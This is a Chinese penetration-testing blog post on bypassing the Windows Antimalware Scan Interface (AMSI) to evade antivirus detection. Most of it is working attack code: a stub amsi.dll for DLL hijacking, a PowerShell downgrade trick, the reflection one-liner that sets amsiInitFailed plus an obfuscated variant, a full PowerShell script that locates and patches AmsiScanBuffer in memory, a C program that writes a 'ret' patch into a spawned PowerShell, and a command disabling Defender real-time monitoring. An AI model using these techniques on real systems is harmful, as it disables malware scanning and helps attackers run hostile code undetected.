干货 | 绕过AMSI实现免杀的研究和思路

渗透技巧 2年前 (2021) admin
872 0 0

文章首发于先知社区

原文链接:https://xz.aliyun.com/t/10437

何为AMSI

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

微软对他产生的目的做出来描述:

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:windowssystem32amsi.dll。

干货 | 绕过AMSI实现免杀的研究和思路

它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。

官方架构图:

干货 | 绕过AMSI实现免杀的研究和思路

目前AMSI功能已集成到Windows 10的这些组件中

用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)PowerShell(脚本、交互使用和动态代码评估)Windows 脚本宿主(wscript.exe 和 cscript.exe)JavaScript 和 VBScriptOffice VBA 宏

既然本质上是一个dll,那么就可以看下他的导出函数。

干货 | 绕过AMSI实现免杀的研究和思路

当执行一些敏感字符串时,会发现powershell拒绝执行并报毒。

干货 | 绕过AMSI实现免杀的研究和思路

查看powershell模块会发现加载了amsi.dll

干货 | 绕过AMSI实现免杀的研究和思路

几种绕过的方式

dll劫持

再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass。

dll加载的顺序:

进程对应的应用程序所在目录系统目录(通过 GetSystemDirectory 获取)16位系统目录Windows目录(通过 GetWindowsDirectory 获取)当前目录PATH环境变量中的各个目录

powershell.exe的路径为C:WindowsSystem32WindowsPowerShellv1.0,只需要在同目录下置放一个名为amsi.dll的模块。

但是并不是随便一个模块都行,由于已经开启了amsi,如果错误加载会引起powershell崩溃,那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。

比如这里导出函数有个AmsiScanBuffer

干货 | 绕过AMSI实现免杀的研究和思路

然后去msdn去找,文档里面有相关的函数说明并且有参数等等。

干货 | 绕过AMSI实现免杀的研究和思路
#include "pch.h"#include <iostream> extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,    AMSI_RESULT * result); void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,    LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) { }

这样一个一个去把导出函数写出。不要去直接include系统文件amsi,这样他那个文件里本来就有相关函数,这样会起冲突,直接把有些结构体粘过来就好了。

typedef struct HAMSICONTEXT {    DWORD       Signature;          // "AMSI" or 0x49534D41    PWCHAR      AppName;           // set by AmsiInitialize    DWORD       Antimalware;       // set by AmsiInitialize    DWORD       SessionCount;      // increased by AmsiOpenSession} HAMSICONTEXT; typedef struct HAMSISESSION {    DWORD amsiSession;} HAMSISESSION; typedef enum AMSI_RESULT {    AMSI_RESULT_CLEAN = 0x00,    AMSI_RESULT_NOT_DETECTED = 0x01,    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,    AMSI_RESULT_DETECTED = 0x8000,} AMSI_RESULT;
干货 | 绕过AMSI实现免杀的研究和思路

这样我们自己编写的dll也有相关的导出函数可以让powershell去调用,只不过里面没功能。注意这个amsi是64位的。

干货 | 绕过AMSI实现免杀的研究和思路

把自己的dll放到powershell.exe的同目录下,再次打开powershell。

干货 | 绕过AMSI实现免杀的研究和思路

查看powershell进程的模块,发现已经是我们自己写的模块了。

干货 | 绕过AMSI实现免杀的研究和思路

已经成功bypass

干货 | 绕过AMSI实现免杀的研究和思路

整个过程中需要管理员权限,dll也需要考虑免杀的问题,甚至还能用它来维权?这个方法按理来说应该是比较敏感的,要看微软什么时候去修复。

除了劫持还可以卸载,但是会造成powershell不稳定直接崩溃。这个方法是不行的。

干货 | 绕过AMSI实现免杀的研究和思路
干货 | 绕过AMSI实现免杀的研究和思路

降低powershell版本

将powershell版本降到2.0,就能够规避amsi,因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。

$PSVersionTable
干货 | 绕过AMSI实现免杀的研究和思路

在 Windows 7 和 Windows 服务器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。

干货 | 绕过AMSI实现免杀的研究和思路

在普通用户权限下,可以通过如下命令经行检查:

Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)p{L}'} | Select -ExpandProperty Version
干货 | 绕过AMSI实现免杀的研究和思路

管理员权限可以使用如下命令:

Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
干货 | 绕过AMSI实现免杀的研究和思路

这里虚拟机是没有这个环境的,看了下本机有2.0版本,这里就换下本机试一下,是能够成功的执行的。

干货 | 绕过AMSI实现免杀的研究和思路

混淆

一个最简单的例子

"amsiutils""amsiuti"+"ls"
干货 | 绕过AMSI实现免杀的研究和思路

可通过一行命令直接关闭AMSI

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true)

但是直接关闭肯定是不行的,他的特征实际上就在System.Management.Automation.AmsiUtils 和 amsiInitFailed。

干货 | 绕过AMSI实现免杀的研究和思路

这里可混淆的方式也是比较多的,方式可以如下:

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+ls') $h="4456625220575263174452554847" $s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " $b =$a.GetField($s,'NonPublic,Static')$b.SetValue($null,$true)
干货 | 绕过AMSI实现免杀的研究和思路

在网上看到关闭Windows Defender 也可以使系统自带的AMSI检测无效化,需要管理员权限,这个方法现在已经不行了。

Set-MpPreference -DisableRealtimeMonitoring $true

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

AMSI检测调用过程为:

AmsiInitialize  初始化AMSI API.AmsiOpenSession  打开sessionAmsiScanBuffer  scans the user-input.AmsiCloseSession  关闭sessionAmsiUninitialize  删除AMSI API

其中AmsiScanBuffer参数微软也给出了说明,第三个参数是要检测缓冲区的长度。

干货 | 绕过AMSI实现免杀的研究和思路

脚本来源:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

Class Hunter {    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {        while ($true) {            [int]$count = 0             while ($true) {                [IntPtr]$address = [IntPtr]::Add($address, 1)                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {                    $count++                    If ($count -eq $egg.Length) {                        return [IntPtr]::Subtract($address, $egg.Length - 1)                    }                } Else { break }            }        }         return $address    }}function Get-ProcAddress {    Param(        [Parameter(Position = 0, Mandatory = $True)] [String] $Module,        [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure    )     # Get a reference to System.dll in the GAC    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')    # Get a reference to the GetModuleHandle and GetProcAddress methods    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))    # Get a handle to the module specified    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))    $tmpPtr = New-Object IntPtr    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)    # Return the address of the function    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}function Get-DelegateType{    Param    (        [OutputType([Type])]                    [Parameter( Position = 0)]        [Type[]]        $Parameters = (New-Object Type[](0)),                    [Parameter( Position = 1 )]        [Type]        $ReturnType = [Void]    )     $Domain = [AppDomain]::CurrentDomain    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)    $MethodBuilder.SetImplementationFlags('Runtime, Managed')            Write-Output $TypeBuilder.CreateType()}$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect$VistualProtectDelegate =  Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)  If ([IntPtr]::Size -eq 8) {    Write-Host "[+] 64-bits process"    [byte[]]$egg = [byte[]] (        0x4C, 0x8B, 0xDC,       # mov     r11,rsp        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi        0x57,                   # push    rdi        0x41, 0x56,             # push    r14        0x41, 0x57,             # push    r15        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h    )} Else {    Write-Host "[+] 32-bits process"    [byte[]]$egg = [byte[]] (        0x8B, 0xFF,             # mov     edi,edi        0x55,                   # push    ebp        0x8B, 0xEC,             # mov     ebp,esp        0x83, 0xEC, 0x18,       # sub     esp,18h        0x53,                   # push    ebx        0x56                    # push    esi    )}  $hModule = $LoadLibrary.Invoke("amsi.dll")Write-Host "[+] AMSI DLL Handle: $hModule"$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)Write-Host "[+] Targeted address: $targetedAddress" $oldProtectionBuffer = 0$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] (    0x31, 0xC0,    # xor rax, rax    0xC3           # ret  )[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

但是这个脚本到现在已经不行了,而且defender是直接报毒的,我在想是不是可以hook一下,改下值就行了。

干货 | 绕过AMSI实现免杀的研究和思路

内存补丁

我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。

上面的方式通过将AmsiScanBuffer的第三个参数长度改为0,我感觉也可以归为内存补丁的一种。

通过上面对AmsiScanBuffer的介绍,应该知道了该函数返回HRESULT类型值,这是一个整数值,用来表示操作是否成功。如果该函数成功,那么就应当返回S_OK(0x00000000),否则应该返回HRESULT错误代码。

AmsiScanBuffer最后一个参数为AMSI_RESULT

干货 | 绕过AMSI实现免杀的研究和思路

结构为

typedef enum AMSI_RESULT {  AMSI_RESULT_CLEAN,  AMSI_RESULT_NOT_DETECTED,  AMSI_RESULT_BLOCKED_BY_ADMIN_START,  AMSI_RESULT_BLOCKED_BY_ADMIN_END,  AMSI_RESULT_DETECTED} ;

大概就是通过这个结构体去返回是否认定被检测的内容是否的恶意的,数值越大风险越高。

方法应该挺多的,可以注入一个dll到powershell这样去hook或者什么操作,也可以直接起一个powershell进程然后获取AmsiScanBuffer的函数地址,让他直接函数返回啊这些操作,这个方法的重点应该是免杀性。

偷个懒:https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi

#include <Windows.h>#include <stdio.h> int main() {    STARTUPINFOA si = { 0 };    PROCESS_INFORMATION pi = { 0 };    si.cb = sizeof(si);     CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);     HMODULE hAmsi = LoadLibraryA("amsi.dll");    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");     Sleep(500);     DWORD oldProtect;    char patch = 0xc3;     VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);    CloseHandle(pi.hProcess);    CloseHandle(pi.hThread);    FreeLibrary(hAmsi);    return 0;}

0xc3的硬编码对应的汇编是ret,也就是调用AmsiScanBuffer直接让他返回。这个马是直接被杀的。

干货 | 绕过AMSI实现免杀的研究和思路

还有一些如com劫持,NULL字符绕过的办法已经失效了,这里作为初探就不去研究了。

推荐阅读

《Bypass AMSI的前世今生》by LN

https://idiotc4t.com/defense-evasion/memory-pacth-bypass-amsi

干货 | 绕过AMSI实现免杀的研究和思路


推荐阅读


干货 | HOOK技术实战


干货 | 免杀沙箱调试与反调试实战


干货 | Certutil在渗透中的利用和详解


干货 | DLL注入常用的几种方式


点赞    在看    评论


干货 | 绕过AMSI实现免杀的研究和思路

版权声明:admin 发表于 2021年11月10日 上午1:16。
转载请注明:干货 | 绕过AMSI实现免杀的研究和思路 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...